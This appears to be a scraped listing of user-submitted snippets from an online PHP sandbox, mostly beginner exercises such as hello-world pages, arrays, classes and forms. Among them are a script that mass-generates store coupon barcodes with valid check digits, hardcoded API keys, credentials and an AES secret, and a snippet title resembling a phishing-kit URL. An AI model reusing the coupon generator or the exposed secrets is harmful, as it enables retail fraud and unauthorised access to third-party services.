<?php #SETUP $A_type = 'POST'; //GET/POST $A_TOKEN = 0; // 0/1, 是否 $A_Ctype = 'XML'; //JSON/XML #参数配置 $apiid = 'crm1'; #签名ID $apiurl = 'http://api.mgsforex.com/crmv2/WebAPI/Public/listsub'; //登录入口,需与接口端保持一致 $apikey = 'v66YKULHFld2JElhm'; //签名ID专属md5加盐 $reskey = array('account','password'); //设置需要用BASE64转码的参数(涉及中文或空格特殊符号的参数),需与接口端保持一致 $apitime = apitime('http://api.mgsforex.com/crmv2/WebAPI/Public/servertime'); //获取接口端时间 #将要传输的参考值 $array = array( "apiid" => $apiid, "apitime" => $apitime, "apictype" => $A_Ctype, 'account' => '88058914', 'password' => 'qwe123' ); #API数据获取 if($A_type == 'GET'){ #处理传参 ksort($array); //给array里面的值按照首字母排序,如果首字母一样看第二个字母 以此类推... $newurl = $apiurl.'?'.signMsg($array, $reskey); //组装成新的URL $newurl = $newurl.'&apisign='.MD5($newurl.$apikey); //组装成新的URL, 加签 #接收接口信息 $content = file_get_contents($newurl); if($A_RTtype =='JSON') $content = json_decode($content,TRUE); //JSON格式需解码转ARRAY if($A_RTtype =='XML') header("Content-type:text/xml"); //返回XML需输出头信息 print_r($content); }elseif($A_type == 'POST'){ #处理传参 ksort($array); //给array里面的值按照首字母排序,如果首字母一样看第二个字母 以此类推... $newurl = $apiurl.'?'.signMsg($array, $reskey); //组装成新的URL $array['apisign'] = MD5($newurl.$apikey); foreach ($reskey as $reskeys){ if(isset($array[$reskeys])){ $array[$reskeys] = base64_encode($array[$reskeys]); } } #print_r($newurl); include 'HttpClient.class.php'; //引入HTTPCLIENT类 $content = HttpClient::quickPost($apiurl, $array); if($A_Ctype =='JSON') $content = json_decode($content,TRUE); //JSON格式需解码转ARRAY if($A_Ctype =='XML') header("Content-type:text/xml"); //返回XML需输出头信息 print_r($content); }else{ exit('null'); } /** * 设置加签数据 * * @param unknown $array * @param unknown $md5Key * @return string */ function signMsg($array,$reskey){ $msg = "; $i = 0; // 转换为字符串 key=value&key.... 加签 foreach ($array as $key => $val) { // 不参与签名 if($key != "apisign" && $key != "apitoken"){ if(in_array($key,$reskey)){ $temval = base64_encode($val); //特殊参数用BASE64转码 }else{ $temval = $val; } if($i == 0 ){ $msg = $msg."$key=$temval"; }else { $msg = $msg."&$key=$temval"; } $i++; } } return $msg; } function apitime($url){ $content = file_get_contents($url); $content = json_decode($content,TRUE); return $content['data']; } ?>

first

<?php $zipcode = trim($_POST['zipcode']); $ziplen=strlen($zipcode); if($ziplen !=5) { print 'enter 5 numbers'; } ?>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php //print_r(get_headers($url)); function get_http_response_code($url) { $headers = get_headers('http://vindornyafm.ddns.net:8000/live'); return substr($headers[0], 9, 3); } $get_http_response_code = get_http_response_code('http://vindornyafm.ddns.net:8000/live'); if ( $get_http_response_code == 200 ) { echo "OKAY!"; } else { echo "Nokay!"; } ?> </body> </html>

overloading

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php ### PHP7 class C{ private $value=0; public function __add($d){ $this->value+=$d; return $this->value; } } $c=new C; $result = $c+1;?> Result = <?php echo $result ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $baseurl = 'http://67.227.153.226:8080/enatis-gateway-1.0-SNAPSHOT/rest/json/uploadMicrodot'; /** * Authenicate and get back token */ $curl = curl_init($baseurl); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Set the POST arguments to pass to the Sugar server $rawPOSTdata = array( "vinOrChassisNumber" => "AHT101A0000000001", "microdotPIN" => "JAYJUJUJUWJ", "effectiveDate" => "2017-10-01", ); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($rawPOSTdata)); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); // Make the REST call, returning the result $response = curl_exec($curl); if (!$response) { die("Connection Failure.\n"); } die($response); // Convert the result from JSON format to a PHP array $result = json_decode($response); curl_close($curl); if ( isset($result->error) ) { die($result->error_message."\n"); } ?> </body> </html>

Php tutorial

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

1234

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

teste

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php $arr = [1, 40, 10, 35, 60, 11, 73 , 3]; for ($i = 0; $i < count($arr); $i++) { for ($j = (count($arr) - 1); $j > $i; $j--) { if ($arr[$j] > $arr[$j-1]) { $tmp = $arr[$j]; $arr[$j] = $arr[$j - 1]; $arr[$j -1 ] = $tmp; } } } print_r($arr);?>

New Project

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

pagamentos

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

myFunctions.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php function makeMonths(){ $months = [1 => 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; // Make the month pull-down menu: echo '<select name="month">'; foreach ($months as $key => $value) { echo "\n<option value=\"$key\">$value</option>"; } echo '</select>'; } //end makeMonths function ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo $wrapperPage = file_get_contents('http://skyscript.in'); ?> </body> </html>

hello

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $servername = "localhost"; $username = "username"; $password = "password"; $dbname = "myDB"; try { $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password); // set the PDO error mode to exception $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); echo "Connected successfully"; } catch(PDOException $e) { echo "Connection failed: " . $e->getMessage(); } ?> </body> </html>

TMKC

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Simpsons Array

<html> <head> <title>Simpson Array</title> </head> <body> <?php //create an array $simpson[1] = "Homer"; $simpson[2] = "Marje"; $simpson[3] = "Bart"; $simpson[4] = "Lisa"; $simpson[5] = "Santa's Little Helper";?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php // http://www.codediesel.com/php/generating-upc-check-digit/ function generateUpcCheckdigit($upc_code) { $odd_total = 0; $even_total = 0; for ($i = 1; $i <= strlen($upc_code); $i++) { //echo "Checking i=$i ({$upc_code[$i - 1]})...\n"; if ($i % 2 == 0) { //echo "even\n"; /* Sum even digits */ $even_total += $upc_code[$i - 1]; } else { //echo "odd\n"; /* Sum odd digits */ $odd_total += $upc_code[$i - 1]; } } $sum = (3 * $even_total) + $odd_total; //echo "Sum: $sum\n"; /* Get the remainder MOD 10*/ $check_digit = $sum % 10; /* If the result is not zero, subtract the result from ten. */ return ($check_digit > 0) ? 10 - $check_digit : $check_digit; } $coupons = [ [ 'signature' => 9210, 'description' => '10% off', ], [ 'signature' => 9329, 'description' => '$10 off $50', ], [ 'signature' => 9342, 'description' => '$15 off $75', ], [ 'signature' => 9335, 'description' => '$20 off $100', ], [ 'signature' => 9384, 'description' => '$40 off $200', ], [ 'signature' => 9390, 'description' => '$60 off $400', ], ]; foreach ($coupons as $coupon) { echo "{$coupon['description']}:" . PHP_EOL; for ($i = 0; $i < 10; $i++) { $upc_code = '47000' . rand(0, 4) . rand(1000, 9999) . $coupon['signature']; echo $upc_code . generateUpcCheckdigit($upc_code) . PHP_EOL; } echo PHP_EOL; } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php // http://www.codediesel.com/php/generating-upc-check-digit/ function generateUpcCheckdigit($upc_code) { $odd_total = 0; $even_total = 0; for ($i = 1; $i <= strlen($upc_code); $i++) { //echo "Checking i=$i ({$upc_code[$i - 1]})...\n"; if ($i % 2 == 0) { //echo "even\n"; /* Sum even digits */ $even_total += $upc_code[$i - 1]; } else { //echo "odd\n"; /* Sum odd digits */ $odd_total += $upc_code[$i - 1]; } } $sum = (3 * $even_total) + $odd_total; //echo "Sum: $sum\n"; /* Get the remainder MOD 10*/ $check_digit = $sum % 10; /* If the result is not zero, subtract the result from ten. */ return ($check_digit > 0) ? 10 - $check_digit : $check_digit; } $coupons = [ [ 'signature' => 9210, 'description' => '10% off', ], [ 'signature' => 9329, 'description' => '$10 off $50', ], [ 'signature' => 9342, 'description' => '$15 off $75', ], [ 'signature' => 9335, 'description' => '$20 off $100', ], [ 'signature' => 9384, 'description' => '$40 off $200', ], [ 'signature' => 9390, 'description' => '$60 off $400', ], ]; foreach ($coupons as $coupon) { echo "{$coupon['description']}:" . PHP_EOL; for ($i = 0; $i < 10; $i++) { $upc_code = '47000' . rand(0, 4) . rand(1000, 9999) . $coupon['signature']; echo $upc_code . generateUpcCheckdigit($upc_code) . PHP_EOL; } echo PHP_EOL; } ?> </body> </html>

PHP Coding

<body> <?php $answer; // this is a global variable (declared outside function) function calc() { $miles = $_POST['mileage']; $fuel = $_POST['fuel']; global $answer; $answer = $miles / $fuel; echo $answer; } ?> <form name="form1" method="post" action="fuel_calc.php"> <p>Enter mileage:<input name="mileage" type="text" /><br/><br/> Enter fuel used (gallons): <input name="fuel" type="text" /> </p> <p><input type="submit" name="submit" value="Submit" /><br/></p> <p><input type="text" name="answer" value="<?php if (isset($_POST["submit"])){calc();}?>" /> </p> </form> <?php if (isset($_POST["submit"])){echo "Your fuel consumption is "."$answer"." miles per gallon";} ?> </body>

amma

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Umer

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello</h1>\n"; ?> </body> </html>

test

<?php $url = "http://104.207.154.189/customer/getuid"; $encryptionMethod = 'aes-128-cbc'; $secretKey = "315a5504d921f832"; $iv = "e43da7d1ad2c5973bafc6ef3c4924ead"; $num = 1; $params = array("ids_num"=>$num); $iv_size = openssl_cipher_iv_length($encryptionMethod); $encryptedMessage = openssl_encrypt(json_encode($params), $encryptionMethod, $secretKey, 0, hex2bin($iv)); print_r("Params:\n" . json_encode($params) . "\n"); print_r("\n\nEncrypted:\n" . $encryptedMessage . "\n"); $post_data = array( 'x' => $encryptedMessage ); $curl = curl_init($url); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post_data)); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); print_r("\n\nResponde:\n" . $response . "\n"); curl_close($curl); $dec = $response; $dencryptedMessage = openssl_decrypt($dec, $encryptionMethod, $secretKey, 0, hex2bin($iv)); print_r("\n\nDecrypted response:\n" . $dencryptedMessage); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

zhjopl;'/

<html> <head> <title>Student Data</title> </head> <body> <form method="post"> <marquee><h2> WELCOME.....!!!!</h2></marquee> <center> <table border="1" width="400" height="300"> <tr> <td colspan="5" align="center" bgcolor="grey">Student's Information</td> </tr> <tr> <td align="right">Name:</td> <td><input type="text" name="name"> </td> </tr> <tr> <td align="right">Fathers Name: </td> <td><input type="text" name="fname"> </td> </tr> <tr> <td align="right">Roll No.:</td> <td><input type="text" name="roll"></td> </tr> <tr> <td align="right">Result:</td> <td><input type="text" name="result"></td> </tr> <tr> <td colspan="5" align="center"><input type="submit" name="submit" value="submit"><input type="reset" name="reset" value="reset"></td> </tr> </table> </center> </form> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php function myconverter(){ $a = 245; $b = 0; while ($a>=2){ $a = $a/2; $b = $a%2; $c[] = $b; } } echo (string)myconverter(); echo $c; // echo strrev ($str); ?> </body> </html>

1234

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

fddaf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo date('l dS \o\f F Y h:i:s A', '170817777'); ?> </body> </html>

ffdgdf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

te15

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

php-destruct

<?php class NbaClub{ public $name='jordan'; public function __construct($name){ $this->name = $name; echo "In construct\n"; } public function __destruct(){ echo "Destroying ".$this->name."\n"; } } $james = new NbaClub('james lyn'); echo $james->name."\n"; //james $james1 = $james; $james = null; echo "james will not be used\n";

Regular Expressions

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $pattern = '/something to look for/'; $lyrics = "Well, my daddy left home when I was three, and he didn't leave much to Ma and me, just this old guitar and a bottle of booze. Now I don't blame him because he run and hid, but the meanest thing that he ever did was before he left he went and named me Sue. Well, he must have thought it was quite a joke, and it got lots of laughs from a lot of folks, it seems I had to fight my whole life through. Some gal would giggle and I'd get red and some guy would laugh and I'd bust his head, I tell you, life ain't easy for a boy named Sue. Source: https://www.familyfriendpoems.com/poem/a-boy-named-sue-by-shel-silverstein"; $aMatch = preg_match($pattern, $lyrics); echo $aMatch;?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; test ?> </body> </html>

https://pt.stackoverflow.com/q/238483/101

<?php $adultos = array( "a", "b", "c" ); $i = 1; foreach ($adultos as $adulto): echo "<strong>Quarto " . $i++ . "</strong><br>"; echo "Adultos: " . $adulto . "<br>"; endforeach; for ($i = 0; $i < count($adultos); $i++) { echo "<strong>Quarto ". $i++ ."</strong><br>"; echo "Adultos: " . $adultos[$i] . "<br>"; } //https://pt.stackoverflow.com/q/238483/101

лдододл

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

http://kktc.hititbet.com/SportFixtures.html?sportTypeId=1

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php //No GST function calculateEnergyUsage($fSelfConsumptionRatio, $fRate, $fFIRate, $fSystemSize, $fDailyUsage){ $iSunHours = 10; $fEfficiencyFactor = .4; $aDailyData = array(); // Can be replaced with value calculated from STC $aDailyData['POWER_PRODUCED'] = round($fSystemSize * $iSunHours * $fEfficiencyFactor, 2); $aDailyData['POWER_CONSUMED'] = round($aDailyData['POWER_PRODUCED'] * $fSelfConsumptionRatio, 2); if($aDailyData['POWER_CONSUMED'] > $fDailyUsage){ $aDailyData['POWER_CONSUMED'] = round($fDailyUsage, 2); } $aDailyData['POWER_EXPORTED'] = round($aDailyData['POWER_PRODUCED'] - $aDailyData['POWER_CONSUMED'], 2); $aDailyData['POWER_PURCHASED'] = round($fDailyUsage - $aDailyData['POWER_CONSUMED'], 2); if($aDailyData['POWER_PURCHASED'] < 0){ $aDailyData['POWER_PURCHASED'] = 0; } $aDailyData['COST_POWER_CONSUMED'] = round($fRate * $aDailyData['POWER_CONSUMED'], 2); $aDailyData['COST_POWER_EXPORTED'] = round($fFIRate * $aDailyData['POWER_EXPORTED'], 2); $aDailyData['SAVINGS'] = round($aDailyData['COST_POWER_EXPORTED'] + $aDailyData['COST_POWER_CONSUMED'], 2); $aDailyData['NEW_COST'] = round(($fDailyUsage*$fRate)-($aDailyData['COST_POWER_CONSUMED']+$aDailyData['COST_POWER_EXPORTED']), 2); $aDailyData['ORIGINAL_COST'] = round($fDailyUsage * $fRate, 2); return $aDailyData; } echo(VAR_EXPORT(calculateEnergyUsage(.4, .22, .09, 4, 13.6))); ?> </body> </html>

raju

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php echo "this is associative array we need to iterate this with foreach only because the foreach loop is used to iterate an associative array"."\n\n"; $d = array("ganapathi"=>"99", "shiva"=>"99","vishnu"=>"99","krishna"=>"99","manjunath"=>"99","vishwanath"=>"99","venkateshwaraswamy"=>"99","narasimha"=>"99", ); foreach($d as $key=>$value) { echo "$key => $value\n"; } echo "\n"; echo "using for loop: \n\n"; $e= array(12,21,25,35,36,34,6,54,6,7,6,6,7,6,7); for ($i=0;$i<count($e);$i++) { echo "$e[$i]"."\n"; } ?>

oops concepts using PHP

<?php class Animal { private $family; private $food; public function __construct($family, $food) { $this->family= $family; $this->food= $food; } public function get_family() { return $this->family; } public function set_family($family) { $this->family= $family; } public function get_food() { return $this->food; } public function set_food($food) { $this->food=$food; } }

http://thenigerianchildinitiative.org/config/temp/chase01.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

mandar

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

print script

print "<script type=\"text/javascript\" src=\"//www.shoutboxy.pl/shoutbox/start.php?key=773092662\"></script>"; print "<script src=\"//eradia.net/script/facebook.php?url=https://www.facebook.com/ print "<script type=\"text/javascript\" src=\"//www.shoutboxy.pl/shoutbox/start.php?key=773092662\"></script>"; print "<script src=\"//eradia.net/script/facebook.php?url=https://www.facebook.com/Radio-Have-Fun-128093961162835/?ref=aymt_homepage_panel\"></script>"; print "<!-- start gg-widget-html - Copyright Xevin Consulting Limited -->\n"; <?php class Produto { private $cpu; private $mb; private $psu; public function __construct($cpu, $mb) { $this->cpu = $cpu; $this->mb = $mb; } function getCpu() { return $this->cpu; } function setCpu($cpu) { $this->cpu = cpu; } function getMb() { return $this->mb; } function setMb($mb) { $this->mb = mb; } } $produto = new Produto('Core i7 7700', 'Z270'); echo $produto->getCpu(); ?>

build a class correctly

<?php class Produto { var $cpu; var $mb; var $psu; public function __construct($cpu, $mb) { $this->cpu = $cpu; $this->mb = $mb; } function getCpu() { return $this->cpu; } function setCpu($cpu) { $this->cpu = cpu; } function getMb() { return $this->mb; } function setMb($mb) { $this->mb = mb; } } $produto = new Produto('Core i7 7700', 'Z270'); echo $produto->getCpu(); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php phpinfo(); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

dsttry

<!DOCTYPE html> <html> <head> <style> .switch { position: relative; display: inline-block; width: 60px; height: 34px; } .switch input {display:none;} .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ccc; -webkit-transition: .4s; transition: .4s; } .slider:before { position: absolute; content: "; height: 26px; width: 26px; left: 4px; bottom: 4px; background-color: white; -webkit-transition: .4s; transition: .4s; } input:checked + .slider { background-color: #2196F3; } input:focus + .slider { box-shadow: 0 0 1px #2196F3; } input:checked + .slider:before { -webkit-transform: translateX(26px); -ms-transform: translateX(26px); transform: translateX(26px); } /* Rounded sliders */ .slider.round { border-radius: 34px; } .slider.round:before { border-radius: 50%; } </style> </head> <body> <h2>Toggle Switch</h2> <label class="switch"> <input type="checkbox" checked> <span class="slider round"></span> </label> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

print date in y-m-d format

<?php echo DateTime::createFromFormat('Y.m.d', '2017.09.11')->format('Y-m-d'); ?>

PHP code for data base connectivity

<html> <body> <form> <select name="dp"> <?php mysql_connect("localhost","root",null); mysql_select_db("stu"); $but=$_REQUEST['but']; $dp=$_REQUEST['dp']; if($but=="ok") { $res=mysql_query(" select classname from class "); while($rec=mysql_fetch_array($res)) { echo ".$rec[classname]. "; } } ?> </select> <select name="dp"> <?php if($but=="ok") { $c=0; $res=mysql_query(" select stu_name from student "); while($rec=mysql_fetch_array($res)) { echo "<option>.$rec[stu_name].<option>"; } } ?> </select> <input type="button" name="but" value="ok"> <form> </body> </html>

design a registration form

<? /************************************************************* * froshims0.php * * David J. Malan * malan@harvard.edu * * Implements a registration form for Frosh IMs. * Submits to register0.php. *****************************************************************/ ?> <!DOCTYPE html> <html> <head> <title>Frosh IMs</title> </head> <body> <div style="text-align: center"> <h1>Register for Frosh IMs</h1> <br><br> <form action="register0.php" method="post"> <table style="border: 0; margin-left: auto; margin-right: auto; text-align: left"> <tr> <td>Name:</td> <td><input name="name" type="text"></td> </tr> <tr> <td>Captain:</td> <td><input name="captain" type="checkbox"></td> </tr> <tr> <td>Gender:</td> <td> <input name="gender" type="radio" value="F"> F <input name="gender" type="radio" value="M"> M </td> </tr> <tr> <td>Dorm:</td> <td> <select name="dorm"> <option value="></option> <option value="Apley Court">Apley Court</option> <option value="Canaday">Canaday</option> <option value="Grays">Grays</option> <option value="Greenough">Greenough</option> <option value="Hollis">Hollis</option> <option value="Holworthy">Holworthy</option> <option value="Hurlbut">Hurlbut</option> <option value="Lionel">Lionel</option> <option value="Matthews">Matthews</option> <option value="Mower">Mower</option> <option value="Pennypacker">Pennypacker</option> <option value="Stoughton">Stoughton</option> <option value="Straus">Straus</option> <option value="Thayer">Thayer</option> <option value="Weld">Weld</option> <option value="Wigglesworth">Wigglesworth</option> </select> </td> </tr> </table> <br><br> <input type="submit" value="Register!"> </form> </div> </body> </html>

print PHP configuration using phpinfo() function

<?php phpinfo(); ?>

array example, sorting array

<?php $arr = array( '2' => 0, '3' => 0, '4' => 0, '5' => 0 ); for ($i = 1; $i <= 120; $i++) { $sum = 0; for ($j = 1; $j <= $i; $j++) { $sum += $j; } if ($sum % 2 == 0) { $arr[2]++; } if ($sum % 3 == 0) { $arr[3]++; } if ($sum % 4 == 0) { $arr[4]++; } if ($sum % 5 == 0) { $arr[5]++; } } asort($arr); $arr = array_keys($arr); echo 'answer: ' . $arr[0]; ?>